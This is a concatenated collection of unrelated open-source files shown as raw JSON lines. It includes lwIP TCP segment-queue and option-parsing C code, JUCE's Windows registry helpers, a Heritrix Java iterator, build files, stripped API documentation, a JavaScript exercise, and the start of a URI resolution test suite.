TCP_QUEUE_OOSEQ\n        /* We queue the segment on the ->ooseq queue. */\n        if (pcb->ooseq == NULL) {\n          pcb->ooseq = tcp_seg_copy(&inseg);\n        } else {\n          /* If the queue is not empty, we walk through the queue and\n             try to find a place where the sequence number of the\n             incoming segment is between the sequence numbers of the\n             previous and the next segment on the ->ooseq queue. That is\n             the place where we put the incoming segment. If needed, we\n             trim the second edges of the previous and the incoming\n             segment so that it will fit into the sequence.\n\n             If the incoming segment has the same sequence number as a\n             segment on the ->ooseq queue, we discard the segment that\n             contains less data. */\n\n          prev = NULL;\n          for(next = pcb->ooseq; next != NULL; next = next->next) {\n            if (seqno == next->tcphdr->seqno) {\n              /* The sequence number of the incoming segment is the\n                 same as the sequence number of the segment on\n                 ->ooseq. We check the lengths to see which one to\n                 discard. */\n              if (inseg.len > next->len) {\n                /* The incoming segment is larger than the old\n                   segment. We replace the old segment with the new\n                   one. */\n                cseg = tcp_seg_copy(&inseg);\n                if (cseg != NULL) {\n                  cseg->next = next->next;\n                  if (prev != NULL) {\n                    prev->next = cseg;\n                  } else {\n                    pcb->ooseq = cseg;\n                  }\n                  tcp_seg_free(next);\n                  if (cseg->next != NULL) {\n                    next = cseg->next;\n                    if (TCP_SEQ_GT(seqno + cseg->len, next->tcphdr->seqno)) {\n                      /* We need to trim the incoming segment. */\n                      cseg->len = (u16_t)(next->tcphdr->seqno - seqno);\n                      pbuf_realloc(cseg->p, cseg->len);\n                    }\n                  }\n                }\n                break;\n              } else {\n                /* Either the lenghts are the same or the incoming\n                   segment was smaller than the old one; in either\n                   case, we ditch the incoming segment. */\n                break;\n              }\n            } else {\n              if (prev == NULL) {\n                if (TCP_SEQ_LT(seqno, next->tcphdr->seqno)) {\n                  /* The sequence number of the incoming segment is lower\n                     than the sequence number of the first segment on the\n                     queue. We put the incoming segment first on the\n                     queue. */\n\n                  if (TCP_SEQ_GT(seqno + inseg.len, next->tcphdr->seqno)) {\n                    /* We need to trim the incoming segment. */\n                    inseg.len = (u16_t)(next->tcphdr->seqno - seqno);\n                    pbuf_realloc(inseg.p, inseg.len);\n                  }\n                  cseg = tcp_seg_copy(&inseg);\n                  if (cseg != NULL) {\n                    cseg->next = next;\n                    pcb->ooseq = cseg;\n                  }\n                  break;\n                }\n              } else \n                /*if (TCP_SEQ_LT(prev->tcphdr->seqno, seqno) &&\n                  TCP_SEQ_LT(seqno, next->tcphdr->seqno)) {*/\n                if(TCP_SEQ_BETWEEN(seqno, prev->tcphdr->seqno+1, next->tcphdr->seqno-1)){\n                /* The sequence number of the incoming segment is in\n                   between the sequence numbers of the previous and\n                   the next segment on ->ooseq. We trim and insert the\n                   incoming segment and trim the previous segment, if\n                   needed. */\n                if (TCP_SEQ_GT(seqno + inseg.len, next->tcphdr->seqno)) {\n                  /* We need to trim the incoming segment. */\n                  inseg.len = (u16_t)(next->tcphdr->seqno - seqno);\n                  pbuf_realloc(inseg.p, inseg.len);\n                }\n\n                cseg = tcp_seg_copy(&inseg);\n                if (cseg != NULL) {\n                  cseg->next = next;\n                  prev->next = cseg;\n                  if (TCP_SEQ_GT(prev->tcphdr->seqno + prev->len, seqno)) {\n                    /* We need to trim the prev segment. */\n                    prev->len = (u16_t)(seqno - prev->tcphdr->seqno);\n                    pbuf_realloc(prev->p, prev->len);\n                  }\n                }\n                break;\n              }\n              /* If the \"next\" segment is the last segment on the\n                 ooseq queue, we add the incoming segment to the end\n                 of the list. */\n              if (next->next == NULL &&\n                  TCP_SEQ_GT(seqno, next->tcphdr->seqno)) {\n                next->next = tcp_seg_copy(&inseg);\n                if (next->next != NULL) {\n                  if (TCP_SEQ_GT(next->tcphdr->seqno + next->len, seqno)) {\n                    /* We need to trim the last segment. */\n                    next->len = (u16_t)(seqno - next->tcphdr->seqno);\n                    pbuf_realloc(next->p, next->len);\n                  }\n                }\n                break;\n              }\n            }\n            prev = next;\n          }\n        }\n#endif /* TCP_QUEUE_OOSEQ */\n\n      }\n    } else {\n      tcp_ack_now(pcb);\n    }\n  } else {\n    /* Segments with length 0 is taken care of here. Segments that\n       fall out of the window are ACKed. */\n    /*if (TCP_SEQ_GT(pcb->rcv_nxt, seqno) ||\n      TCP_SEQ_GEQ(seqno, pcb->rcv_nxt + pcb->rcv_wnd)) {*/\n    if(!TCP_SEQ_BETWEEN(seqno, pcb->rcv_nxt, pcb->rcv_nxt + pcb->rcv_wnd-1)){\n      tcp_ack_now(pcb);\n    }\n  }\n  return accepted_inseq;\n}\n\n/**\n * Parses the options contained in the incoming segment. (Code taken\n * from uIP with only small changes.)\n *\n * Called from tcp_listen_input() and tcp_process().\n * Currently, only the MSS option is supported!\n *\n * @param pcb the tcp_pcb for which a segment arrived\n */\nstatic void\ntcp_parseopt(struct tcp_pcb *pcb)\n{\n  u8_t c;\n  u8_t *opts, opt;\n  u16_t mss;\n\n  opts = (u8_t *)tcphdr + TCP_HLEN;\n\n  /* Parse the TCP MSS option, if present. */\n  if(TCPH_HDRLEN(tcphdr) > 0x5) {\n    for(c = 0; c < (TCPH_HDRLEN(tcphdr) - 5) << 2 ;) {\n      opt = opts[c];\n      if (opt == 0x00) {\n        /* End of options. */\n        break;\n      } else if (opt == 0x01) {\n        ++c;\n        /* NOP option. */\n      } else if (opt == 0x02 &&\n        opts[c + 1] == 0x04) {\n        /* An MSS option with the right option length. */\n        mss = (opts[c + 2] << 8) | opts[c + 3];\n        /* Limit the mss to the configured TCP_MSS and prevent division by zero */\n        pcb->mss = ((mss > TCP_MSS) || (mss == 0)) ? TCP_MSS : mss;\n\n        /* And we are done processing options. */\n        break;\n      } else {\n        if (opts[c + 1] == 0) {\n          /* If the length field is zero, the options are malformed\n             and we don't process them further. */\n          break;\n        }\n        /* All other options have a length field, so that we easily\n           can skip past them. */\n        c += opts[c + 1];\n      }\n    }\n  }\n}\n\n#endif /* LWIP_TCP */\n"}
+{"text": "/*\n  ==============================================================================\n\n   This file is part of the JUCE library.\n   Copyright (c) 2020 - Raw Material Software Limited\n\n   JUCE is an open source library subject to commercial or open-source\n   licensing.\n\n   The code included in this file is provided under the terms of the ISC license\n   http://www.isc.org/downloads/software-support-policy/isc-license. Permission\n   To use, copy, modify, and/or distribute this software for any purpose with or\n   without fee is hereby granted provided that the above copyright notice and\n   this permission notice appear in all copies.\n\n   JUCE IS PROVIDED \"AS IS\" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER\n   EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE\n   DISCLAIMED.\n\n  ==============================================================================\n*/\n\nnamespace juce\n{\n\nstruct RegistryKeyWrapper\n{\n    RegistryKeyWrapper (String name, bool createForWriting, DWORD wow64Flags)\n    {\n        if (HKEY rootKey = getRootKey (name))\n        {\n            name = name.substring (name.indexOfChar ('\\\\') + 1);\n\n            auto lastSlash = name.lastIndexOfChar ('\\\\');\n            valueName = name.substring (lastSlash + 1);\n            wideCharValueName = valueName.toWideCharPointer();\n\n            name = name.substring (0, lastSlash);\n            auto wideCharName = name.toWideCharPointer();\n            DWORD result;\n\n            if (createForWriting)\n                RegCreateKeyEx (rootKey, wideCharName, 0, nullptr, REG_OPTION_NON_VOLATILE,\n                                KEY_WRITE | KEY_QUERY_VALUE | wow64Flags, nullptr, &key, &result);\n            else\n                RegOpenKeyEx (rootKey, wideCharName, 0, KEY_READ | wow64Flags, &key);\n        }\n    }\n\n    ~RegistryKeyWrapper()\n    {\n        if (key != nullptr)\n            RegCloseKey (key);\n    }\n\n    static HKEY getRootKey (const String& name) noexcept\n    {\n        if (name.startsWithIgnoreCase (\"HKEY_CURRENT_USER\\\\\"))  return HKEY_CURRENT_USER;\n        if (name.startsWithIgnoreCase (\"HKCU\\\\\"))               return HKEY_CURRENT_USER;\n        if (name.startsWithIgnoreCase (\"HKEY_LOCAL_MACHINE\\\\\")) return HKEY_LOCAL_MACHINE;\n        if (name.startsWithIgnoreCase (\"HKLM\\\\\"))               return HKEY_LOCAL_MACHINE;\n        if (name.startsWithIgnoreCase (\"HKEY_CLASSES_ROOT\\\\\"))  return HKEY_CLASSES_ROOT;\n        if (name.startsWithIgnoreCase (\"HKCR\\\\\"))               return HKEY_CLASSES_ROOT;\n        if (name.startsWithIgnoreCase (\"HKEY_USERS\\\\\"))         return HKEY_USERS;\n        if (name.startsWithIgnoreCase (\"HKU\\\\\"))                return HKEY_USERS;\n\n        jassertfalse; // The name starts with an unknown root key (or maybe an old Win9x type)\n        return nullptr;\n    }\n\n    static bool setValue (const String& regValuePath, const DWORD type,\n                          const void* data, size_t dataSize, const DWORD wow64Flags)\n    {\n        const RegistryKeyWrapper key (regValuePath, true, wow64Flags);\n\n        return key.key != nullptr\n                && RegSetValueEx (key.key, key.wideCharValueName, 0, type,\n                                  reinterpret_cast (data),\n                                  (DWORD) dataSize) == ERROR_SUCCESS;\n    }\n\n    static uint32 getBinaryValue (const String& regValuePath, MemoryBlock& result, DWORD wow64Flags)\n    {\n        const RegistryKeyWrapper key (regValuePath, false, wow64Flags);\n\n        if (key.key != nullptr)\n        {\n            for (unsigned long bufferSize = 1024; ; bufferSize *= 2)\n            {\n                result.setSize (bufferSize, false);\n                DWORD type = REG_NONE;\n\n                auto err = RegQueryValueEx (key.key, key.wideCharValueName, nullptr, &type,\n                                            (LPBYTE) result.getData(), &bufferSize);\n\n                if (err == ERROR_SUCCESS)\n                {\n                    result.setSize (bufferSize, false);\n                    return type;\n                }\n\n                if (err != ERROR_MORE_DATA)\n                    break;\n            }\n        }\n\n        return REG_NONE;\n    }\n\n    static String getValue (const String& regValuePath, const String& defaultValue, DWORD wow64Flags)\n    {\n        MemoryBlock buffer;\n\n        switch (getBinaryValue (regValuePath, buffer, wow64Flags))\n        {\n            case REG_SZ:    return static_cast (buffer.getData());\n            case REG_DWORD: return String ((int) *reinterpret_cast (buffer.getData()));\n            default:        break;\n        }\n\n        return defaultValue;\n    }\n\n    static bool keyExists (const String& regKeyPath, const DWORD wow64Flags)\n    {\n        return RegistryKeyWrapper (regKeyPath + \"\\\\\", false, wow64Flags).key != nullptr;\n    }\n\n    static bool valueExists (const String& regValuePath, const DWORD wow64Flags)\n    {\n        const RegistryKeyWrapper key (regValuePath, false, wow64Flags);\n\n        if (key.key == nullptr)\n            return false;\n\n        unsigned char buffer [512];\n        unsigned long bufferSize = sizeof (buffer);\n        DWORD type = 0;\n\n        auto result = RegQueryValueEx (key.key, key.wideCharValueName,\n                                       nullptr, &type, buffer, &bufferSize);\n\n        return result == ERROR_SUCCESS || result == ERROR_MORE_DATA;\n    }\n\n    HKEY key = nullptr;\n    const wchar_t* wideCharValueName = nullptr;\n    String valueName;\n\n    JUCE_DECLARE_NON_COPYABLE (RegistryKeyWrapper)\n};\n\nuint32 JUCE_CALLTYPE WindowsRegistry::getBinaryValue (const String& regValuePath, MemoryBlock& result, WoW64Mode mode)\n{\n    return RegistryKeyWrapper::getBinaryValue (regValuePath, result, (DWORD) mode);\n}\n\nString JUCE_CALLTYPE WindowsRegistry::getValue (const String& regValuePath, const String& defaultValue, WoW64Mode mode)\n{\n    return RegistryKeyWrapper::getValue (regValuePath, defaultValue, (DWORD) mode);\n}\n\nbool JUCE_CALLTYPE WindowsRegistry::setValue (const String& regValuePath, const String& value, WoW64Mode mode)\n{\n    return RegistryKeyWrapper::setValue (regValuePath, REG_SZ, value.toWideCharPointer(),\n                                         CharPointer_UTF16::getBytesRequiredFor (value.getCharPointer()), mode);\n}\n\nbool JUCE_CALLTYPE WindowsRegistry::setValue (const String& regValuePath, const uint32 value, WoW64Mode mode)\n{\n    return RegistryKeyWrapper::setValue (regValuePath, REG_DWORD, &value, sizeof (value), (DWORD) mode);\n}\n\nbool JUCE_CALLTYPE WindowsRegistry::setValue (const String& regValuePath, const uint64 value, WoW64Mode mode)\n{\n    return RegistryKeyWrapper::setValue (regValuePath, REG_QWORD, &value, sizeof (value), (DWORD) mode);\n}\n\nbool JUCE_CALLTYPE WindowsRegistry::setValue (const String& regValuePath, const MemoryBlock& value, WoW64Mode mode)\n{\n    return RegistryKeyWrapper::setValue (regValuePath, REG_BINARY, value.getData(), value.getSize(), (DWORD) mode);\n}\n\nbool JUCE_CALLTYPE WindowsRegistry::valueExists (const String& regValuePath, WoW64Mode mode)\n{\n    return RegistryKeyWrapper::valueExists (regValuePath, (DWORD) mode);\n}\n\nbool JUCE_CALLTYPE WindowsRegistry::keyExists (const String& regKeyPath, WoW64Mode mode)\n{\n    return RegistryKeyWrapper::keyExists (regKeyPath, (DWORD) mode);\n}\n\nbool JUCE_CALLTYPE WindowsRegistry::deleteValue (const String& regValuePath, WoW64Mode mode)\n{\n    const RegistryKeyWrapper key (regValuePath, true, (DWORD) mode);\n\n    return key.key != nullptr && RegDeleteValue (key.key, key.wideCharValueName) == ERROR_SUCCESS;\n}\n\nstatic bool deleteKeyNonRecursive (const String& regKeyPath, WindowsRegistry::WoW64Mode mode)\n{\n    const RegistryKeyWrapper key (regKeyPath, true, (DWORD) mode);\n\n    return key.key != nullptr && RegDeleteKey (key.key, key.wideCharValueName) == ERROR_SUCCESS;\n}\n\nbool JUCE_CALLTYPE WindowsRegistry::deleteKey (const String& regKeyPath, WoW64Mode mode)\n{\n    if (deleteKeyNonRecursive (regKeyPath, mode))\n        return true;\n\n    for (const RegistryKeyWrapper key (regKeyPath + \"\\\\\", false, (DWORD) mode);;)\n    {\n        wchar_t subKey[MAX_PATH + 1] = {};\n        DWORD subKeySize = MAX_PATH;\n\n        if (RegEnumKeyEx (key.key, 0, subKey, &subKeySize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS\n             || ! deleteKey (regKeyPath + \"\\\\\" + String (subKey), mode))\n            break;\n    }\n\n    return deleteKeyNonRecursive (regKeyPath, mode);\n}\n\nbool JUCE_CALLTYPE WindowsRegistry::registerFileAssociation (const String& fileExtension,\n                                                             const String& symbolicDescription,\n                                                             const String& fullDescription,\n                                                             const File& targetExecutable,\n                                                             const int iconResourceNumber,\n                                                             const bool registerForCurrentUserOnly,\n                                                             WoW64Mode mode)\n{\n    auto root = registerForCurrentUserOnly ? \"HKEY_CURRENT_USER\\\\Software\\\\Classes\\\\\"\n                                           : \"HKEY_CLASSES_ROOT\\\\\";\n    auto key = root + symbolicDescription;\n\n    return setValue (root + fileExtension + \"\\\\\", symbolicDescription, mode)\n        && setValue (key + \"\\\\\", fullDescription, mode)\n        && setValue (key + \"\\\\shell\\\\open\\\\command\\\\\", targetExecutable.getFullPathName() + \" \\\"%1\\\"\", mode)\n        && (iconResourceNumber == 0\n              || setValue (key + \"\\\\DefaultIcon\\\\\",\n                           targetExecutable.getFullPathName() + \",\" + String (iconResourceNumber)));\n}\n\n// These methods are deprecated:\nString WindowsRegistry::getValueWow64 (const String& p, const String& defVal)  { return getValue (p, defVal, WoW64_64bit); }\nbool WindowsRegistry::valueExistsWow64 (const String& p)                       { return valueExists (p, WoW64_64bit); }\nbool WindowsRegistry::keyExistsWow64 (const String& p)                         { return keyExists (p, WoW64_64bit); }\n\n} // namespace juce\n"}
+{"text": "/*\n *  This file is part of the Heritrix web crawler (crawler.archive.org).\n *\n *  Licensed to the Internet Archive (IA) by one or more individual \n *  contributors. \n *\n *  The IA licenses this file to You under the Apache License, Version 2.0\n *  (the \"License\"); you may not use this file except in compliance with\n *  the License.  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage org.archive.util.iterator;\n\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.NoSuchElementException;\n\n/**\n * An iterator that's built up out of any number of other iterators.\n * @author gojomo\n */\npublic class CompositeIterator implements Iterator {\n    protected ArrayList> iterators = new ArrayList>();\n    protected Iterator currentIterator;\n    protected int indexOfCurrentIterator = -1;\n\n    /**\n     * Moves to the next (non empty) iterator. Returns false if there are no\n     * more (non empty) iterators, true otherwise.\n     * @return false if there are no more (non empty) iterators, true otherwise.\n     */\n    private boolean nextIterator() {\n        if (++indexOfCurrentIterator < iterators.size()) {\n            currentIterator = iterators.get(indexOfCurrentIterator);\n            // If the new iterator was empty this will move us to the next one.\n            return hasNext();\n        } else {\n            currentIterator = null;\n            return false;\n        }\n    }\n\n    /* (non-Javadoc)\n     * @see java.util.Iterator#hasNext()\n     */\n    public boolean hasNext() {\n        if(currentIterator!=null && currentIterator.hasNext()) {\n            // Got more\n            return true;\n        } else {\n            // Have got more if we can queue up a new iterator.\n            return nextIterator();\n        }\n    }\n\n    /* (non-Javadoc)\n     * @see java.util.Iterator#next()\n     */\n    public E next() {\n        if(hasNext()) {\n            return currentIterator.next();\n        } else {\n            throw new NoSuchElementException();\n        }\n    }\n\n    /* (non-Javadoc)\n     * @see java.util.Iterator#remove()\n     */\n    public void remove() {\n        throw new UnsupportedOperationException();\n    }\n\n    /**\n     * Create an empty CompositeIterator. Internal\n     * iterators may be added later.\n     */\n    public CompositeIterator() {\n        super();\n    }\n\n    /**\n     * Convenience method for concatenating together\n     * two iterators.\n     * @param i1\n     * @param i2\n     */\n    public CompositeIterator(Iterator i1, Iterator i2) {\n        this();\n        add(i1);\n        add(i2);\n    }\n\n    /**\n     * Add an iterator to the internal chain.\n     *\n     * @param i an iterator to add.\n     */\n    public void add(Iterator i) {\n        iterators.add(i);\n    }\n\n}\n"}
+{"text": "//\n//     Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 25 2017 03:49:04).\n//\n//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import \"TBaseBrowserWindowController.h\"\n\n@class TDesktopViewController, TDesktopWindow;\n\n@interface TDesktopWindowController : TBaseBrowserWindowController\n{\n    TDesktopViewController *_desktopViewController;\n}\n\n- (void).cxx_destruct;\n@property(readonly, nonatomic) TDesktopViewController *desktopViewController; // @synthesize desktopViewController=_desktopViewController;\n- (void)windowWillClose:(id)arg1;\n- (id)accessibilityActionNames;\n- (BOOL)accessibilityIsAttributeSettable:(id)arg1;\n- (id)accessibilityAttributeValue:(id)arg1;\n- (id)accessibilityAttributeNames;\n- (BOOL)accessibilityIsIgnored;\n- (unsigned int)finderScriptingModelKind;\n- (struct TFENode)target;\n- (id)activeBaseBrowserViewController;\n@property(readonly, nonatomic) TDesktopWindow *desktopWindow;\n- (id)initForScreen:(id)arg1;\n\n@end\n\n"}
+{"text": "[0]\nDefaultApplication = \"3f0dd361-4fe0-5fc6-8523-80b14ec94d85\"\nMusicManipulations = \"274955c0-c284-5bf7-b122-5ecd51c559de\"\nPyPlot = \"d330b81b-6aea-500a-939a-2ce795aea3ee\"\n\n[\"0-0.2.1\"]\nTest = \"8dfed614-e22c-5e08-85e1-65c5234f0b40\"\n\n[\"0.2-0\"]\nReexport = \"189a3867-3050-52da-a836-e630ba90ab69\"\n"}
+{"text": "\n#\n\n#   This file is part of Ragel.\n#\n#   Ragel is free software; you can redistribute it and/or modify\n#   it under the terms of the GNU General Public License as published by\n#   the Free Software Foundation; either version 2 of the License, or\n#   (at your option) any later version.\n#\n#   Ragel is distributed in the hope that it will be useful,\n#   but WITHOUT ANY WARRANTY; without even the implied warranty of\n#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#   GNU General Public License for more details.\n#\n#   You should have received a copy of the GNU General Public License\n#   along with Ragel; if not, write to the Free Software\n#   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA \n\nRAGEL = ../ragel/ragel\nFLEX = flex\nRE2C = re2c\n\nnoinst_PROGRAMS = \\\n\tatoi awkemu clang concurrent cppscan format gotocallret mailbox params \\\n\tpullscan rlscan statechart \n\nEXTRA_DIST = \\\n\tgotocallret.rl pullscan.rl concurrent.rl rlscan.rl statechart.rl \\\n\tparams.rl clang.rl cppscan.rl format.rl awkemu.rl mailbox.rl atoi.rl\n\ngotocallret_SOURCES = gotocallret.cpp\npullscan_SOURCES = pullscan.c\nconcurrent_SOURCES = concurrent.cpp\nrlscan_SOURCES = rlscan.cpp\nstatechart_SOURCES = statechart.cpp \nparams_SOURCES = params.c\nclang_SOURCES = clang.c \ncppscan_SOURCES = cppscan.cpp \nformat_SOURCES = format.c\nawkemu_SOURCES = awkemu.c\nmailbox_SOURCES = mailbox.cpp\natoi_SOURCES = atoi.cpp\n\ngotocallret.cpp: gotocallret.rl\n\t$(RAGEL) -G2 -o gotocallret.cpp gotocallret.rl \n\npullscan.c: pullscan.rl $(RAGEL) \n\t$(RAGEL) -G2 -o $@ pullscan.rl\n\nconcurrent.cpp: concurrent.rl $(RAGEL)\n\t$(RAGEL) -G2 -o concurrent.cpp concurrent.rl\n\nrlscan.cpp: rlscan.rl \n\t$(RAGEL) -G2 -o rlscan.cpp rlscan.rl\n\nstatechart.cpp: statechart.rl \n\t$(RAGEL) -G2 -o statechart.cpp statechart.rl\n\nparams.c: params.rl\n\t$(RAGEL) -G2 -o params.c params.rl\n\nclang.c: clang.rl \n\t$(RAGEL) -G2 -o clang.c clang.rl\n\ncppscan.cpp: cppscan.rl \n\t$(RAGEL) -G2 -o $@ cppscan.rl\n\nformat.c: format.rl\n\t$(RAGEL) -G2 -o format.c format.rl\n\nawkemu.c: awkemu.rl\n\t$(RAGEL) -G2 -o awkemu.c awkemu.rl\n\nmailbox.cpp: mailbox.rl\n\t$(RAGEL) -G2 -o mailbox.cpp mailbox.rl\n\natoi.cpp: atoi.rl\n\t$(RAGEL) -G2 -o atoi.cpp atoi.rl\n\n###\n\nlex-cppscan.cpp: cppscan.lex\n\t$(FLEX) -f -o $@ $<\n\nre2c-cppscan.cpp: cppscan.rec\n\t$(RE2C) -s $< > $@\n\nexample.cpp: example.rec\n\t$(RE2C) -s $< > $@\n"}
+{"text": "\n\n\t\n\t\t\n\t\tKWExample Class Reference\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t\t
    \n\t\t\t
    \n\t\t\t\t
    Kiwi 1.1.0 
    \n\t\t\t\tAllen Ding and Luke Redpath\n\t\t\t
    \n\t\t\t\n\t\t\t
    \n\t\t\t\t
    KWExample Class Reference
    \n\t\t\t
    \n\t\t\t
      \n\t\t\t\t
    • \n\t\t\t\t\t\n\t\t\t\t
      • \n\t\t\t\t
    • \n\t\t\t\t\t\n\t\t\t\t
      • \n\t\t\t
    \n\t\t
    \n\t\t\n\t\t
    \n\t\t\t
    \n\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t\t\t
    KWExample Class Reference
    \n\t\t\t\t\t
    \t\t\n\t\t\t\t
    \n\t\t\t\t
    \t\n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\n\t\n\n\t\n\t\n\n\t\n\t\n\n\t\t\t\t\t\t
    Inherits fromNSObject
    Conforms toKWExampleNodeVisitor
    KWReporting
    Declared inKWExample.h
    \n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    Tasks
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    Properties
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t
    lastInContext
    \n\t\n\t\n\n\t
    @property (nonatomic, retain) KWContextNode *lastInContext
    \n\n    \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t
    suite
    \n\t\n\t\n\n\t
    @property (nonatomic, assign) KWExampleSuite *suite
    \n\n    \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    Instance Methods
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t
    addAsyncVerifierWithExpectationType:callSite:timeout:
    \n\t\n\t\n\n\t
    - (id)addAsyncVerifierWithExpectationType:(KWExpectationType)anExpectationType callSite:(KWCallSite *)aCallSite timeout:(NSInteger)timeout
    \n\n    \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t
    addExistVerifierWithExpectationType:callSite:
    \n\t\n\t\n\n\t
    - (id)addExistVerifierWithExpectationType:(KWExpectationType)anExpectationType callSite:(KWCallSite *)aCallSite
    \n\n    \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t
    addMatchVerifierWithExpectationType:callSite:
    \n\t\n\t\n\n\t
    - (id)addMatchVerifierWithExpectationType:(KWExpectationType)anExpectationType callSite:(KWCallSite *)aCallSite
    \n\n    \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t
    addVerifier:
    \n\t\n\t\n\n\t
    - (id)addVerifier:(id<KWVerifying>)aVerifier
    \n\n    \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t
    descriptionWithContext
    \n\t\n\t\n\n\t
    - (NSString *)descriptionWithContext
    \n\n    \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t
    generateDescriptionForAnonymousItNode
    \n\t\n\t\n\n\t
    - (NSString *)generateDescriptionForAnonymousItNode
    \n\n    \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t
    initWithExampleNode:
    \n\t\n\t\n\n\t
    - (id)initWithExampleNode:(id<KWExampleNode>)node
    \n\n    \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t
    isLastInContext:
    \n\t\n\t\n\n\t
    - (BOOL)isLastInContext:(KWContextNode *)context
    \n\n    \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t\t\t
    © 2012 Allen Ding and Luke Redpath. All rights reserved. (Last updated: 2012-09-01)
    \n\t\t\t\t\t\t\n\t\t\t\t\t\tGenerated by appledoc 2.0.5 (build 774).
    \n\t\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t
    \n\t\t
    \n\t\t\n\t\n"}
+{"text": "# Seed Producing Modules\n\n## Setup\n\nHave a terminal window open and change directory to `~/workspace/modern-farm`.\n\nRun `npm run test` to start the automated testing task.\n\n## Seed Instructions\n\n1. Create a `scripts/seeds` directory. The `scripts` directory already exists, so create the `seeds` sub-directory in it.\n1. Create a module for each type of possible plant in the `seeds` directory. For example, one of the types of food you grow is corn. Create a `scripts/seeds/corn.js` module. Make sure that each file uses all lowercase letters for the file name.\n1. In each module define and export a function for creating a seed. Define the functions with the following syntax. If the plant is Asparagus, the function should be named `createAsparagus`. Same thing for all the others. Use arrow functions. Do not use the `function` keyword.\n1. Each of these functions should return an object with the following properties. Look at the table below the instructions to see what the values for each object are.\n    1. `type`\n    1. `height`\n    1. `output`\n1. The one exception is corn. The `createCorn` function should return an array with two identical objects in it. Each with the proper keys and values.\n\n### Plant Properties Table\n\n| Plant | Height | Output |\n|--|--|--|\n| Soybean | 20 | 4 |\n| Corn | 180 | 6 |\n| Sunflower | 380 | 3 |\n| Asparagus | 24 | 4 |\n| Wheat | 230 | 6 |\n| Potato | 32 | 2 |\n\n#### Checking Your Logic\n\nWrite some temporary, test code in the main module to invoke some of your seed creation functions that you defined in your modules. Use `console.log()` to ensure that you get the right value back.\n\nThe following code should display an object with three properties - shape, weight, height - the developer console.\n\n> ##### `/scripts/main.js`\n\n```js\nimport { createAsparagus } from \"./seeds/asparagus.js\"\n\nconst asparagusSeed = createAsparagus()\nconsole.log(asparagusSeed)\n```"}
+{"text": "#include \"stdafx.h\"\n\nusing namespace web;\nusing namespace utility;\n\nnamespace tests\n{\nnamespace functional\n{\nnamespace uri_tests\n{\n// testing resolution against examples from Section 5.4 https://tools.ietf.org/html/rfc3986#section-5.4\nSUITE(resolve_uri_tests)\n{\n    // 5.4.1. Normal Examples https://tools.ietf.org/html/rfc3986#section-5.4.1\n    TEST(resolve_uri_normal)\n    {\n        const uri baseUri = U(\"http://a/b/c/d;p?q\");\n\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g:h\")), U(\"g:h\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g\")), U(\"http://a/b/c/g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"./g\")), U(\"http://a/b/c/g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g/\")), U(\"http://a/b/c/g/\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"/g\")), U(\"http://a/g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"//g\")), U(\"http://g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"?y\")), U(\"http://a/b/c/d;p?y\"));\n        